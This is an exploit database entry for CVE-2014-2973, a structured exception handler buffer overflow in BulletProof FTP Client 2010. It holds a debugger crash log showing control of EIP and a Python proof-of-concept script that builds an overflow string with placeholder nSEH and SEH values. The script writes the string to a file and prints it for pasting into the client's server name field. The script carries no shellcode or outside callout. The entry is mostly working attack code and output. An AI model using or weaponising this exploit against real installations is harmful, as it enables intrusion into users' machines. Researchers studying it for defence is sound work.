BulletProof FTP Client 2010 - Buffer Overflow (SEH)

2014-07-24T00:00:00
ID 1337DAY-ID-22474
Type zdt
Reporter Gabor Seljan
Modified 2014-07-24T00:00:00

Description

BulletProof FTP Client 2010 suffers from a buffer overflow vulnerability.

                                        
                                            #-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH)          #
# Date: Jul 24 2014                                                           #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP SP3                                                   #
# CVE: CVE-2014-2973                                                          #
#-----------------------------------------------------------------------------#
 
'''
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=41414141 ecx=007ef590 edx=00000000 esi=017a4f6a edi=017a516a
eip=005c005b esp=0012f594 ebp=0012f610 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for bpftpclient.exe -
bpftpclient+0x1c005b:
005c005b f6431c10        test    byte ptr [ebx+1Ch],10h     ds:0023:4141415d=??
0:000> !exchain
0012f59c: bpftpclient+1c044e (005c044e)
0012f5a8: bpftpclient+1c046b (005c046b)
0012f618: 43434343
Invalid exception stack at 42424242
0:000> g
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
eip=43434343 esp=0012f1c4 ebp=0012f1e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
43434343 ??              ???
'''
 
#!/usr/bin/python
 
junk1 = b'\x41' * 89
nSEH  = b'\x42' * 4
SEH   = b'\x43' * 4
junk2 = b'\x44' * 1000
 
sploit = junk1 + nSEH + SEH + junk2
 
try:
  print('[+] Creating exploit file...')
  f = open('sploit.txt', 'wb')
  f.write(sploit)
  f.close()
  print('[+] Exploit file created successfully!')
except:
  print('[!] Error while creating exploit file!')
 
print('[+] Use the following as Server Name/IP with any user\'s credentials!')
print(sploit.decode())

#  0day.today [2018-04-03]  #